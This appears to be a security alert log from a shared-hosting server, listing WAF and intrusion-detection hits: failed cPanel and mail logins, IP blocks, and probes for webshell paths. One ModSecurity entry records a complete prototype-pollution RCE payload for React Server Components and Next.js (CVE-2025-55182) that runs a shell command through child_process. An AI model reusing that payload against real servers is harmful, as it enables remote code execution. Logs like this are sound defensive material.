[2026-01-16 01:37:31 +0800] info [cpaneld] 161.22.56.249 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.96.248.30
country_id: 1733045
description:
[2026-01-16 01:37:33 +0800] info [cpaneld] 103.96.248.30 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.129.109.127
country_id: 6252001
description:
[2026-01-16 01:37:41 +0800] info [cpaneld] 35.129.109.127 - tschuancom "GET /login/?login_only=1&user=tschuancom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tschuancom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.149.143.3
country_id: 2661886
description:
[2026-01-16 01:37:42 +0800] info [cpaneld] 188.149.143.3 - tschua "GET /login/?login_only=1&user=tschua&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tschua (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.163.182.102
country_id: 1282988
description:
[2026-01-16 01:37:46 +0800] info [cpaneld] 103.163.182.102 - tsch "GET /login/?login_only=1&user=tsch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tsch (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.81.185.245
country_id: 192950
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=85791516782865 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.24.202.154
country_id: 798544
description:
Jan 16 01:38:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.24.202.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.211
country_id: 3175395
description:
Jan 16 01:40:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.81
country_id: 798544
description:
Jan 16 01:41:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.197
country_id: 3469034
description:
Jan 16 01:41:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.211
country_id: 3175395
description:
Jan 16 01:40:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.61
country_id: 3469034
description:
Jan 16 01:42:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.61 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 103.120.189.68
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.39.212.85
country_id: 2510769
description:
Jan 16 01:43:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.39.212.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.59
country_id: 798544
description:
Jan 16 01:44:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.226
country_id: 3175395
description:
Jan 16 01:48:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 01:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57370: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.208.76
country_id: 798544
description:
Jan 16 01:52:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.208.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.208.76
country_id: 798544
description:
Jan 16 01:52:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.208.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.174
country_id: 3175395
description:
Jan 16 01:57:22 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.132
country_id: 1269750
description:
Jan 16 01:57:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.84.45.239
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/touch/13/725/1315465 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.132
country_id: 1269750
description:
Jan 16 01:58:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.132 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.183.113.75
country_id: 3625428
description:
[2026-01-16 01:59:05 +0800] info [cpaneld] 38.183.113.75 - mssa "GET /login/?login_only=1&user=mssa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mssa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.177.160.26
country_id: 6252001
description:
[2026-01-16 01:58:59 +0800] info [cpaneld] 75.177.160.26 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/login.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.52.54
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-01.166.0.52.54||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/sitemap.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.94.179
country_id: 272103
domain: www.symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.symphony-led.com/indoor-led-screen-2__trashed/indoor-led-screen-mobile-series/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.107.120.238
country_id: 1269750
description:
2026-01-16 02:04:24 H=([150.107.120.238]) [150.107.120.238]:62675 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.81
country_id: 2395170
description:
Jan 16 02:04:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.107.120.238
country_id: 1269750
description:
2026-01-16 02:05:54 H=([150.107.120.238]) [150.107.120.238]:1210 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.107.120.238
country_id: 1269750
description:
2026-01-16 02:06:38 H=([150.107.120.238]) [150.107.120.238]:14194 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.107.120.238
country_id: 1269750
description:
2026-01-16 02:07:19 H=([150.107.120.238]) [150.107.120.238]:46324 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 02:07:41 H=([178.16.53.2]) [178.16.53.2]:61947 F=<info@valet.it> rejected RCPT <suffian@pspoly.com.my>: SPF: 178.16.53.2 is not allowed to send mail from valet.it


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/home/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.241
country_id: 953987
description:
Jan 16 02:10:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.94
country_id: 3865483
description:
Jan 16 02:10:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.137
country_id: 3469034
description:
Jan 16 02:11:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.137
country_id: 3469034
description:
Jan 16 02:11:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.203
country_id: 1269750
description:
Jan 16 02:12:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.103
country_id: 953987
description:
Jan 16 02:13:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.97
country_id: 3996063
description:
Jan 16 02:14:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.79
country_id: 3175395
description:
Jan 16 02:14:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.233
country_id: 1269750
description:
Jan 16 02:15:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.233
country_id: 1269750
description:
2026-01-16 02:15:05 dovecot_login authenticator failed for H=(nsg-corporate-233.228.187.122.airtel.in) [122.187.228.233]:36398: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.210.246.54
country_id: 289688
description:
Jan 16 02:15:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.210.246.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.210.246.54
country_id: 289688
description:
2026-01-16 02:15:44 dovecot_login authenticator failed for H=([37.210.246.54]) [37.210.246.54]:48292: 535 Incorrect authentication data (set_id=bizdevelopment)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.17
country_id: 3175395
description:
Jan 16 02:16:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.47.99.66
country_id: 3077311
description:
Jan 16 02:16:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.47.99.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.96
country_id: 690791
description:
Jan 16 02:16:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.96
country_id: 690791
description:
Jan 16 02:16:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.106.42.31
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/drink/15/709/1517660 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.164
country_id: 933860
description:
Jan 16 02:19:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.237
country_id: 3469034
description:
Jan 16 02:19:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.114.233
country_id: 732800
description:
Jan 16 02:19:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.114.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.142.197.35
country_id: 6252001
description:
2026-01-16 02:20:26 dovecot_login authenticator failed for H=([166.142.197.35]) [166.142.197.35]:33467: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 02:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57390: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.114.233
country_id: 732800
description:
Jan 16 02:20:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.114.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.133
country_id: 2017370
description:
2026-01-16 02:20:04 dovecot_login authenticator failed for H=([178.178.194.133]) [178.178.194.133]:55425: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.142.197.35
country_id: 6252001
description:
Jan 16 02:20:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.142.197.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.240
country_id: 953987
description:
Jan 16 02:20:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.133
country_id: 2017370
description:
Jan 16 02:20:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.133
country_id: 3175395
description:
Jan 16 02:21:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.80.65.214
country_id: 6252001
description:
Jan 16 02:21:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.80.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-01-16 02:21:06 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com [75.80.65.214]:47259: 535 Incorrect authentication data (set_id=accounting)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 02:21:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.133
country_id: 3175395
description:
Jan 16 02:22:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.123.219.236
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-24.190.123.219.236||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 02:25:39 H=([45.144.212.242]) [45.144.212.242]:59510 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 02:26:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.102
country_id: 3865483
description:
Jan 16 02:26:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/about-us/images/resource/index.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-16  2:27:37 137939 [Warning] Aborted connection 137939 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-01-16 02:28:23 H=([77.83.39.167]) [77.83.39.167]:58535 F=<stevenwelboun@op.pl> rejected RCPT <fkr@fkr.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.148
country_id: 3175395
description:
Jan 16 02:30:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.51
country_id: 953987
description:
Jan 16 02:30:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.88.3
country_id: 3469034
description:
Jan 16 02:30:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.88.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.84
country_id: 690791
description:
Jan 16 02:30:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.162
country_id: 3469034
description:
Jan 16 02:30:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.41
country_id: 3865483
description:
Jan 16 02:30:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.44
country_id: 3175395
description:
Jan 16 02:30:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.51
country_id: 953987
description:
Jan 16 02:30:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.88.3
country_id: 3469034
description:
Jan 16 02:30:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.88.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.182
country_id: 3175395
description:
